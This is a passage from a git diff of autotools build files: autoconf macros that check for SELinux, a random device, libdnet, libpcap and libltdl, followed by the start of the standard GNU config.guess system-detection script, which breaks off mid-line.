SP_MODE=755 + AC_MSG_RESULT(no, selinux is not enforcing, ignoring it) + fi +else + CHCON=true + SP_MODE=755 + AC_MSG_RESULT(no) +fi + +AC_SUBST(CHCON) +AC_SUBST(SP_MODE) +AC_DEFINE_UNQUOTED(SHLIB_EXT, "$shlibs") +]) + +AC_DEFUN(AC_UNI_PRNG, [ +AC_MSG_CHECKING(for a readable prng device) +default_prng_paths="/dev/urandom /etc/random /dev/egd-pool" +AC_ARG_WITH(prng, +[ --with-prng=PATH Use random number generator specificed by PATH], +[lookat="$withval"], +[lookat="$default_prng_paths"]) + +if test "$lookat" = "yes"; then + lookat="$default_prng_paths" +fi + +good=no +for g in $lookat; do + if test -c "$g" + then + AC_DEFINE_UNQUOTED(RANDOM_DEVICE, "$g") + AC_MSG_RESULT(yes found at $g) + good=yes + break + elif test -S "$g" + then + AC_DEFINE_UNQUOTED(RANDOM_DEVICE, "$g") + AC_MSG_RESULT(yes found at $g) + good=yes + break + fi +done + +if test $good = "no"; then + AC_MSG_WARN(cant find a working random number generator, will try and make due) + AC_DEFINE(RANDOM_DEVICE, "") +fi +AC_SUBST(RANDOM_DEVICE) +]) + +AC_DEFUN(AC_UNI_LIBDNET, [ +AC_MSG_CHECKING(for libdnet) +default_libdnet_directories="/usr /usr/local" +lookin=$default_libdnet_directories +AC_ARG_WITH(libdnet, +[ --with-libdnet=PREFIX use already installed libdnet in PREFIX +], +[ +case "$dnet_pfx" in +no) + lookin="" + ;; +yes) + lookin=$default_libdnet_directories + ;; +*) + lookin=$dnet_pfx + ;; +esac +]) +good=no +if test "$lookin"; then + for g in $lookin; do + if test -x "$g/bin/dnet-config"; then + DNETLIBS=`$g/bin/dnet-config --libs` + DNETCFLG=`$g/bin/dnet-config --cflags` + AC_MSG_RESULT(yes, found inside $g) + good=yes + break + fi + done +fi +if test $good = "no"; then + NEED_AUX_LIBS="${NEED_AUX_LIBS} libdnet" + DNETLIBS="" + DNETCFLG="" + AC_MSG_RESULT(no, using supplied version) +fi +AC_SUBST(DNETCFLG) +AC_SUBST(DNETLIBS) +]) + +dnl find /proc/net/route or just give up and cry +AC_DEFUN(AC_UNI_PROCNETROUTE, [ +AC_MSG_CHECKING(for a readable /proc/net/route file) +if test -r /proc/net/route; then + AC_DEFINE(HAVE_PROC_NET_ROUTE) + AC_MSG_RESULT(Yes) +else + AC_MSG_RESULT(No) +fi +], +[]) + +dnl find pcap, or just make it +AC_DEFUN(AC_UNI_LIBPCAP, [ +AC_MSG_CHECKING(for libpcap (http://www.tcpdump.org)) +AC_CHECK_LIB(pcap, pcap_open_live,[ + AC_MSG_CHECKING(for pcap_lib_version) + AC_CHECK_LIB(pcap, pcap_lib_version, AC_DEFINE(HAVE_PCAP_LIB_VERSION), []) + AC_MSG_CHECKING(for pcap_setnonblock) + AC_CHECK_LIB(pcap, pcap_setnonblock, AC_DEFINE(HAVE_PCAP_SET_NONBLOCK), []) + AC_CHECK_LIB(pcap, pcap_get_selectable_fd, [], +[ + AC_DEFINE(HAVE_PCAP_LIB_VERSION) + AC_DEFINE(HAVE_PCAP_SET_NONBLOCK) + NEED_AUX_LIBS="${NEED_AUX_LIBS} pcap" +] + ) +], +[NEED_AUX_LIBS="${NEED_AUX_LIBS} pcap" +AC_DEFINE(HAVE_PCAP_LIB_VERSION) +AC_DEFINE(HAVE_PCAP_SET_NONBLOCK)]) +]) + +AC_DEFUN(AC_UNI_LIBLTDL, [ +AC_MSG_CHECKING(for libltdl) +AC_CHECK_LIB(ltdl, lt_dlopen, [], [ +NEED_AUX_LIBS="${NEED_AUX_LIBS} libltdl" +]) +]) diff --git a/autostuff/config.guess b/autostuff/config.guess new file mode 100755 index 0000000..e3ef63f --- /dev/null +++ b/autostuff/config.guess @@ -0,0 +1,1471 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. + +timestamp='2005-12-13' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA +# 02110-1301, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + + +# Originally written by Per Bothner . +# Please send patches to . Submit a context +# diff and a properly formatted ChangeLog entry. +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit build system type. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of the system \`$me' is run on. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.guess ($timestamp) + +Originally written by Per Bothner. +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit ;; + --version | -v ) + echo "$version" ; exit ;; + --help | --h* | -h ) + echo "$usage"; exit ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" >&2 + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +trap 'exit 1' 1 2 15 + +# CC_FOR_BUILD -- compiler used by this script. Note that the use of a +# compiler to aid in system detection is discouraged as it requires +# temporary files to be created and, as you can see below, it is a +# headache to deal with in a portable fashion. + +# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still +# use `HOST_CC' if defined, but it is deprecated. + +# Portable tmp directory creation inspired by the Autoconf team. + +set_cc_for_build=' +trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; +trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; +: ${TMPDIR=/tmp} ; + { tmp=`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || + { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || + { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || + { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; +dummy=$tmp/dummy ; +tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; +case $CC_FOR_BUILD,$HOST_CC,$CC in + ,,) echo "int x;" > $dummy.c ; + for c in cc gcc c89 c99 ; do + if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then + CC_FOR_BUILD="$c"; break ; + fi ; + done ; + if test x"$CC_FOR_BUILD" = x ; then + CC_FOR_BUILD=no_compiler_found ; + fi + ;; + ,,*) CC_FOR_BUILD=$CC ;; + ,*,*) CC_FOR_BUILD=$HOST_CC ;; +esac ; set_cc_for_build= ;' + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 1994-08-24) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # NetBSD (nbsd) targets should (where applicable) match one or + # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # + # Note: NetBSD doesn't particularly care about the vendor + # portion of the name. We always set it to "unknown". + sysctl="sysctl -n hw.machine_arch" + UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ + /usr/sbin/$sysctl 2>/dev/null || echo unknown)` + case "${UNAME_MACHINE_ARCH}" in + armeb) machine=armeb-unknown ;; + arm*) machine=arm-unknown ;; + sh3el) machine=shl-unknown ;; + sh3eb) machine=sh-unknown ;; + *) machine=${UNAME_MACHINE_ARCH}-unknown ;; + esac + # The Operating System including object format, if it has switched + # to ELF recently, or will in the future. + case "${UNAME_MACHINE_ARCH}" in + arm*|i386|m68k|ns32k|sh3*|sparc|vax) + eval $set_cc_for_build + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + ;; + *) + os=netbsd + ;; + esac + # The OS release + # Debian GNU/NetBSD machines have a different userland, and + # thus, need a distinct triplet. However, they do not need + # kernel version information, so it can be replaced with a + # suitable tag, in the style of linux-gnu. + case "${UNAME_VERSION}" in + Debian*) + release='-gnu' + ;; + *) + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + ;; + esac + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit ;; + *:OpenBSD:*:*) + UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'` + echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE} + exit ;; + *:ekkoBSD:*:*) + echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} + exit ;; + macppc:MirBSD:*:*) + echo powerppc-unknown-mirbsd${UNAME_RELEASE} + exit ;; + *:MirBSD:*:*) + echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} + exit ;; + alpha:OSF1:*:*) + case $UNAME_RELEASE in + *4.0) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + ;; + *5.*) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` + ;; + esac + # According to Compaq, /usr/sbin/psrinfo has been available on + # OSF/1 and Tru64 systems produced since 1995. I hope that + # covers most systems running today. This code pipes the CPU + # types through head -n 1, so we only detect the type of CPU 0. + ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` + case "$ALPHA_CPU_TYPE" in + "EV4 (21064)") + UNAME_MACHINE="alpha" ;; + "EV4.5 (21064)") + UNAME_MACHINE="alpha" ;; + "LCA4 (21066/21068)") + UNAME_MACHINE="alpha" ;; + "EV5 (21164)") + UNAME_MACHINE="alphaev5" ;; + "EV5.6 (21164A)") + UNAME_MACHINE="alphaev56" ;; + "EV5.6 (21164PC)") + UNAME_MACHINE="alphapca56" ;; + "EV5.7 (21164PC)") + UNAME_MACHINE="alphapca57" ;; + "EV6 (21264)") + UNAME_MACHINE="alphaev6" ;; + "EV6.7 (21264A)") + UNAME_MACHINE="alphaev67" ;; + "EV6.8CB (21264C)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8AL (21264B)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8CX (21264D)") + UNAME_MACHINE="alphaev68" ;; + "EV6.9A (21264/EV69A)") + UNAME_MACHINE="alphaev69" ;; + "EV7 (21364)") + UNAME_MACHINE="alphaev7" ;; + "EV7.9 (21364A)") + UNAME_MACHINE="alphaev79" ;; + esac + # A Pn.n version is a patched version. + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-unknown-sysv4 + exit ;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit ;; + *:[Mm]orph[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-morphos + exit ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit ;; + *:z/VM:*:*) + echo s390-ibm-zvmoe + exit ;; + *:OS400:*:*) + echo powerpc-ibm-os400 + exit ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit ;; + arm:riscos:*:*|arm:RISCOS:*:*) + echo arm-unknown-riscos + exit ;; + SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit ;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit ;; + DRS?6000:unix:4.0:6*) + echo sparc-icl-nx6 + exit ;; + DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) + case `/usr/bin/uname -p` in + sparc) echo sparc-icl-nx7; exit ;; + esac ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit ;; + m68k:machten:*:*) + echo m68k-apple-machten${UNAME_RELEASE} + exit ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && + dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` && + SYSTEM_NAME=`$dummy $dummyarg` && + { echo "$SYSTEM_NAME"; exit; } + echo mips-mips-riscos${UNAME_RELEASE} + exit ;; + Motorola:PowerMAX_OS:*:*) + echo powerpc-motorola-powermax + exit ;; + Motorola:*:4.3:PL8-*) + echo powerpc-harris-powermax + exit ;; + Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) + echo powerpc-harris-powermax + exit ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i*86:AIX:*:*) + echo i386-ibm-aix + exit ;; + ia64:AIX:*:*) + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} + exit ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` + then + echo "$SYSTEM_NAME" + else + echo rs6000-ibm-aix3.2.5 + fi + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit ;; + *:AIX:*:[45]) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` + if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit ;; + 9000/[34678]??:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + if [ -x /usr/bin/getconf ]; then + sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` + sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` + case "${sc_cpu_version}" in + 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 + 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 + 532) # CPU_PA_RISC2_0 + case "${sc_kernel_bits}" in + 32) HP_ARCH="hppa2.0n" ;; + 64) HP_ARCH="hppa2.0w" ;; + '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 + esac ;; + esac + fi + if [ "${HP_ARCH}" = "" ]; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` + test -z "$HP_ARCH" && HP_ARCH=hppa + fi ;; + esac + if [ ${HP_ARCH} = "hppa2.0w" ] + then + eval $set_cc_for_build + + # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating + # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler + # generating 64-bit code. GNU and HP use different nomenclature: + # + # $ CC_FOR_BUILD=cc ./config.guess + # => hppa2.0w-hp-hpux11.23 + # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess + # => hppa64-hp-hpux11.23 + + if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | + grep __LP64__ >/dev/null + then + HP_ARCH="hppa2.0w" + else + HP_ARCH="hppa64" + fi + fi + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit ;; + ia64:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ia64-hp-hpux${HPUX_REV} + exit ;; + 3050*:HI-UX:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` && + { echo "$SYSTEM_NAME"; exit; } + echo unknown-hitachi-hiuxwe2 + exit ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit ;; + *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit ;; + i*86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ + -e 's/\.[^.]*$/.X/' + exit ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit ;; + CRAY*T3E:*:*:*) + echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit ;; + *:UNICOS/mp:*:*) + echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit ;; + F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) + FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 